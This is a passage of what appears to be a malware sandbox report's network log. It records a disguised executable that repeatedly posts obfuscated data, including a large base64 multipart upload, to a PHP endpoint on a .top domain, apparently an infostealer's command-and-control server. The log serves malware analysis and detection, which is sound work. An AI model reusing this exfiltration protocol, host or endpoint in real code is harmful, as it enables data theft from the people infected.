                                                                  Data Ascii: ZU[VTCTUZ]VVR^P\P_UUWTZ^T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\ 8\"T)&3+:(0(%.R*)'$"._+(Y3!;('F!.\*9
                                                                  Jan 13, 2025 13:11:07.870402098 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:08.007178068 CET308INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:07 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 152
                                                                  Connection: keep-alive
                                                                  Data Raw: 0c 15 22 0c 2a 0b 3e 1c 24 39 34 53 3b 2c 35 01 3a 12 0e 04 3e 21 38 5d 29 2a 13 5f 2c 2e 34 5d 3c 2b 3f 03 2b 31 23 0f 25 36 24 54 3d 39 2b 51 07 11 3a 06 24 2e 31 06 2b 0d 04 5e 30 54 26 41 22 20 3c 5d 29 2a 22 1b 27 01 27 0c 28 28 26 05 3e 0a 3a 13 25 29 03 42 28 12 21 06 28 3d 2f 5e 08 12 25 53 3d 0f 3a 0f 32 30 3f 5c 35 06 20 17 3e 3f 03 53 36 3f 39 0a 3e 3a 0f 5e 30 07 35 58 30 58 26 1e 31 54 3b 0d 32 22 08 01 27 39 24 50 2f 0f 2c 51 0c 3d 5a 57
                                                                  Data Ascii: "*>$94S;,5:>!8])*_,.4]<+?+1#%6$T=9+Q:$.1+^0T&A" <])*"''((&>:%)B(!(=/^%S=:20?\5 >?S6?9>:^05X0X&1T;2"'9$P/,Q=ZW


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  17192.168.2.44976837.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:11:07.581180096 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:11:07.939181089 CET2580OUTData Raw: 5f 58 5e 55 51 47 54 52 5a 5d 56 56 52 5f 50 52 50 51 55 5c 57 51 5a 57 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: _X^UQGTRZ]VVR_PRPQU\WQZWT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#_/&!2%>#%8=$ >$&"(8';).'F!.\*
                                                                  Jan 13, 2025 13:11:08.218811989 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:08.351461887 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:08 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  18192.168.2.44977437.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:11:09.191195011 CET261OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Jan 13, 2025 13:11:09.548377991 CET2580OUTData Raw: 5a 5b 5b 53 51 40 54 52 5a 5d 56 56 52 5f 50 53 50 59 55 5d 57 5f 5a 59 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: Z[[SQ@TRZ]VVR_PSPYU]W_ZYT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\ .3"":_204=\7\%("U0>(:&1>[)9$1+?'F!.\*
                                                                  Jan 13, 2025 13:11:09.819888115 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:10.055645943 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:09 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ
                                                                  Jan 13, 2025 13:11:10.055660963 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:09 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  19192.168.2.44978037.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:11:10.297863007 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2576
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:11:10.644669056 CET2576OUTData Raw: 5f 59 5e 54 54 41 51 54 5a 5d 56 56 52 58 50 5c 50 5c 55 5e 57 52 5a 5c 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: _Y^TTAQTZ]VVRXP\P\U^WRZ\T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\ , >6T%&4*)3089$.$R=;3".Y)*<0^(>'F!.\*9
                                                                  Jan 13, 2025 13:11:10.969918013 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:11.103182077 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:10 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  20192.168.2.44978937.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:11:11.959566116 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:11:12.314032078 CET2580OUTData Raw: 5a 55 5b 5f 51 40 54 56 5a 5d 56 56 52 5b 50 5f 50 5a 55 5d 57 5f 5a 5b 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: ZU[_Q@TVZ]VVR[P_PZU]W_Z[T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#Z8%]619108=#'+9'-+>:,S$2&Z(#'('F!.\*-
                                                                  Jan 13, 2025 13:11:12.588814974 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:12.717698097 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:12 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ
                                                                  Jan 13, 2025 13:11:13.025739908 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:12 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  21192.168.2.44979037.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:11:12.446440935 CET284OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 540
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:11:12.799504042 CET540OUTData Raw: 5a 54 5b 53 54 48 54 53 5a 5d 56 56 52 5a 50 5a 50 5e 55 5e 57 57 5a 5b 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: ZT[STHTSZ]VVRZPZP^U^WWZ[T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\ ; ""^&**?^0;5$.*<P01>_+0&"+<>'F!.\*)
                                                                  Jan 13, 2025 13:11:13.083777905 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:13.297091007 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:13 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ
                                                                  Jan 13, 2025 13:11:13.297868967 CET298OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: multipart/form-data; boundary=----3oAOdiIl49AxLPl4c1kCJFK8qkwOizznqm
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 160842
                                                                  Expect: 100-continue
                                                                  Jan 13, 2025 13:11:13.486319065 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:13.486644983 CET12360OUTData Raw: 2d 2d 2d 2d 2d 2d 33 6f 41 4f 64 69 49 6c 34 39 41 78 4c 50 6c 34 63 31 6b 43 4a 46 4b 38 71 6b 77 4f 69 7a 7a 6e 71 6d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 30 22
                                                                  Data Ascii: ------3oAOdiIl49AxLPl4c1kCJFK8qkwOizznqmContent-Disposition: form-data; name="0"Content-Type: text/plain_][PTFTVZ]VVRYPRPZUTWSZ[T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^X
                                                                  Jan 13, 2025 13:11:13.491625071 CET4944OUTData Raw: 55 7a 6c 78 4e 33 59 31 61 55 4a 70 51 55 30 30 55 58 4a 75 51 6b 4a 4c 4e 33 4e 6e 57 6a 52 35 54 56 56 4d 52 7a 64 59 61 33 52 77 64 57 6c 54 59 55 73 33 61 6e 4e 74 4d 33 4e 52 55 45 35 6b 4f 57 6c 6e 59 32 56 36 53 44 5a 4c 5a 6e 42 59 53 6a
                                                                  Data Ascii: UzlxN3Y1aUJpQU00UXJuQkJLN3NnWjR5TVVMRzdYa3RwdWlTYUs3anNtM3NRUE5kOWlnY2V6SDZLZnBYSjlUd0hmOFR2K3Y1bi9BQy9nZC84QThMTy82Zy8vQUpNLy9ZVnkzaVRYZitFaDFHTzcrei9aOWtRaTJiOStjRW5PY0QxcktDUnl2YmkxdmJPNlNhOFN5TWtMdUJISzMzUXdaRllBODhnRWNHb25lQS9hRGIzOW5kTGJ
                                                                  Jan 13, 2025 13:11:13.491643906 CET4944OUTData Raw: 56 44 64 6a 4d 58 56 70 53 30 35 55 61 30 6c 76 55 48 4e 4c 55 45 74 71 65 6d 35 35 4d 48 6f 76 64 57 6c 7a 57 47 73 34 53 45 63 7a 54 69 39 57 63 6d 5a 72 59 6e 68 36 4d 6d 39 77 4f 44 5a 71 4c 31 59 33 4c 32 31 56 53 6b 78 31 4d 6d 63 72 65 57
                                                                  Data Ascii: VDdjMXVpS05Ua0lvUHNLUEtqem55MHovdWlzWGs4SEczTi9WcmZrYnh6Mm9wODZqL1Y3L21VSkx1MmcreW03dW85VnZITTF2YzM5bEE2Uy9abmhNZVpDNnA1a2dMWkJPZUFRVzVHQ3cvc3pSTlMwNTExU3dtQ1IzRWZucmJUTXFib1hWUzZ0SGtnc3k4QldIWFB2b0NORjZJb3oxd0tiNUVYL1BKUCsrUlZMSzBsSktXNnQ4aUh
                                                                  Jan 13, 2025 13:11:13.491677999 CET4944OUTData Raw: 4d 6e 5a 6e 64 54 52 6c 64 7a 41 76 4e 32 4a 4c 5a 46 4a 5a 52 31 42 36 62 47 70 33 64 6d 78 77 65 6d 73 76 61 48 67 33 4d 54 52 70 61 7a 63 79 57 6a 6c 43 55 6e 68 6b 55 6a 46 50 55 32 39 73 64 44 42 31 5a 46 4a 4d 59 55 35 4d 63 44 46 36 63 48
                                                                  Data Ascii: MnZndTRldzAvN2JLZFJZR1B6bGp3dmxwemsvaHg3MTRpazcyWjlCUnhkUjFPU29sdDB1ZFJMYU5McDF6cHQ1bzkxY3hQUE5JSGplTEdHa1psSTNPQ0NBdzdWNWhxK2xYR2tYNXRyaU40OXczeDd5dTRvU1FDZHBJQjRQZXZXUDdSMXJ5b20vc0Q1MlVsMCsySjhoM0VZempuZ0Evamp0WEVmRWY4QTVHS0QvcjBYL3dCRGV2V3l
                                                                  Jan 13, 2025 13:11:13.491724014 CET4944OUTData Raw: 64 44 4e 4a 56 47 64 49 61 7a 51 30 4e 45 6c 51 55 46 6b 78 51 32 67 34 65 47 39 73 55 6b 68 61 63 47 77 7a 55 6b 46 4a 59 33 56 50 5a 56 59 35 55 6e 64 6c 62 6d 39 68 4e 48 4e 51 61 48 4e 4f 61 44 5a 7a 4e 6d 78 4c 65 54 56 79 57 46 68 55 55 79
                                                                  Data Ascii: dDNJVGdIazQ0NElQUFkxQ2g4eG9sUkhacGwzUkFJY3VPZVY5Undlbm9hNHNQaHNOaDZzNmxLeTVyWFhUUy8rWjJZaXZpcTlPRk9xbStXOW5aMzF0L2tGRk9pamx1TGFXNWdnbmx0NHMrWkxIRXpJbUJrNUlHQng2MHhzb3pxeU9ySXBabEtIS2dESkpHTWdZNStsZG50SVh0ZEhKN0twWlBsZXZrTFJVbHpiM05uNWYydTF1TFl
                                                                  Jan 13, 2025 13:11:13.491803885 CET4944OUTData Raw: 64 54 5a 7a 62 30 78 34 55 58 4d 32 59 6d 64 45 61 31 5a 46 64 57 73 79 55 30 56 72 55 57 70 4b 52 30 74 6c 53 58 6b 79 56 6c 64 7a 4e 58 46 57 61 7a 64 6d 4d 54 67 33 54 44 64 70 54 55 70 74 4f 45 74 47 51 6c 55 7a 52 7a 64 57 4c 79 74 43 4f 54
                                                                  Data Ascii: dTZzb0x4UXM2YmdEa1ZFdWsyU0VrUWpKR0tlSXkyVldzNXFWazdmMTg3TDdpTUptOEtGQlUzRzdWLytCOTEyWjJvV09xYVg0YzFPMjFLQzR0WnJyVVloYnJJdURLcUxLWFpmN3lqY3Z6REk1SE5TNmtsL2JwcWw5dG1TMmJ3OVkyME03cmlOcHo5bklRRThGc0FrajB5VHhWcUhTTE9COTZSOCs5TWJRckJuTEdMazllYXhlVTF
                                                                  Jan 13, 2025 13:11:13.496551037 CET4944OUTData Raw: 52 57 70 34 64 30 38 31 63 6c 56 72 63 31 64 31 54 47 52 76 57 6c 55 7a 62 33 64 34 62 46 52 35 55 48 42 59 4e 57 34 76 51 55 73 7a 4e 47 6c 48 54 57 4a 75 4c 30 52 6a 62 48 41 78 56 56 59 77 57 47 30 72 63 6c 41 78 54 33 52 33 57 47 68 5a 57 57
                                                                  Data Ascii: RWp4d081clVrc1d1TGRvWlUzb3d4bFR5UHBYNW4vQUszNGlHTWJuL0RjbHAxVVYwWG0rclAxT3R3WGhZWWFOTy83eFJldlJ5ZHRmUmRFWjNoZnlGMU5wcG5RR05ma0RFRGsvd0NUWGZyS3J4OWlDSzh0MUxSSjlPUVNOekN4MnF4NE9mcFc1NFFuM2I0STd5VGNneTF2S01qSDk1RDI5eDcxcnhMZ1lZK2s4Mm9WZWFOa3JXZWx
                                                                  Jan 13, 2025 13:11:13.496575117 CET2472OUTData Raw: 65 6e 6c 6d 59 57 74 51 4e 57 55 35 51 55 4e 45 63 6c 49 72 62 45 77 7a 4f 58 70 54 52 47 6f 32 4d 45 46 43 4f 55 74 44 53 30 74 45 55 6c 6c 61 4d 33 52 6b 54 44 52 46 54 31 42 46 61 53 39 33 52 46 68 47 4c 7a 56 57 65 6c 5a 59 54 6b 34 78 53 7a
                                                                  Data Ascii: enlmYWtQNWU5QUNEclIrbEwzOXpTRGo2MEFCOUtDS0tEUllaM3RkTDRFT1BFaS93RFhGLzVWelZYTk4xSzQwbTcrMVdwVVNoU29MTG5HYTQ4VlRsVm95aEhkbmdZR3RHamlJVko3Smt1ajJHcGVKUEU2K0lyYXhqaHRJOVFpWjFYNWVqcVRnZHlCeVQ3MW4rTDdwNGZGK3A3a096empnaXRxMjhWNm5aaVVXMzJlSVN5R1Z3a0l
                                                                  Jan 13, 2025 13:11:13.496598959 CET2472OUTData Raw: 55 31 4a 36 56 33 46 4b 54 6d 59 79 65 47 31 56 51 6d 68 4d 62 46 46 43 53 45 6c 52 56 48 52 49 54 30 38 7a 56 33 45 34 52 6e 70 46 53 56 5a 31 63 6a 49 35 5a 32 6c 30 4d 48 4e 4b 63 6a 56 74 64 44 64 4e 57 6a 4a 79 59 32 56 57 5a 31 6c 4c 4e 33
                                                                  Data Ascii: U1J6V3FKTmYyeG1VQmhMbFFCSElRVHRIT08zV3E4RnpFSVZ1cjI5Z2l0MHNKcjVtdDdNWjJyY2VWZ1lLN3NrNUdjWTZjQ2k3c0h1V2RQTVVXOGpwSkxHVkIzTW1kcHpqUEc1dnpxbk5wRjFJVEd0NEZ0VGJ0YStWNWE0OHBwUE1LOVA3K0RucitGZVJXdytLOXBLZEo3dlQwdGI4ejZERDRyQXVsQ25XV2lXdnJmOEF5TjZCTEx
                                                                  Jan 13, 2025 13:11:14.386228085 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:14 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  22192.168.2.44979437.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:11:13.026041985 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 1980
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:11:13.376737118 CET1980OUTData Raw: 5a 5e 5b 53 54 43 54 54 5a 5d 56 56 52 5e 50 52 50 5b 55 5f 57 5f 5a 5f 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: Z^[STCTTZ]VVR^PRP[U_W_Z_T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#,#9""]%3/A):#_$*T3');012[<9$[&17+'F!.\*9
                                                                  Jan 13, 2025 13:11:13.659323931 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:13.789416075 CET308INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:13 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 152
                                                                  Connection: keep-alive
                                                                  Data Raw: 0c 15 22 0f 2a 0b 26 55 33 2a 3c 11 2f 12 36 13 2d 2f 20 01 29 32 0d 07 3d 03 3e 06 2e 3d 3f 01 3e 38 34 58 28 21 20 54 33 36 2c 57 3d 39 2b 51 07 11 3a 05 31 2d 08 14 3f 0d 2e 1d 27 0b 36 42 20 23 2b 05 2b 39 0c 57 25 2b 28 54 3f 28 25 5c 3d 30 32 13 25 29 25 0b 28 05 2a 5a 3f 17 2f 5e 08 12 25 56 29 21 3e 0f 32 09 3b 5d 36 11 27 05 29 01 0f 50 36 01 00 54 29 14 29 1b 27 00 21 5f 24 00 03 01 32 22 0a 10 25 21 25 5b 27 29 24 50 2f 0f 2c 51 0c 3d 5a 57
                                                                  Data Ascii: "*&U3*</6-/ )2=>.=?>84X(! T36,W=9+Q:1-?.'6B #++9W%+(T?(%\=02%)%(*Z?/^%V)!>2;]6')P6T))'!_$2"%!%[')$P/,Q=ZW
                                                                  Jan 13, 2025 13:11:13.790049076 CET261OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Jan 13, 2025 13:11:13.976191998 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:13.976624966 CET2580OUTData Raw: 5f 59 5e 53 51 42 54 57 5a 5d 56 56 52 51 50 5e 50 51 55 5b 57 50 5a 5f 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: _Y^SQBTWZ]VVRQP^PQU[WPZ_T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\ ,#!%1 #B)),%8)' T):,3))9Z$W?+'F!.\*
                                                                  Jan 13, 2025 13:11:14.242456913 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:14 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  23192.168.2.44980237.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:11:15.020708084 CET261OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Jan 13, 2025 13:11:15.376687050 CET2580OUTData Raw: 5a 5d 5b 51 54 41 54 51 5a 5d 56 56 52 5c 50 5f 50 5c 55 54 57 54 5a 5e 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: Z][QTATQZ]VVR\P_P\UTWTZ^T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#. >62>$#D*),$>$>>,Q32&(9('4<'F!.\*1
                                                                  Jan 13, 2025 13:11:15.677534103 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:15.850753069 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:15 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  24192.168.2.44980837.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:11:16.114856958 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
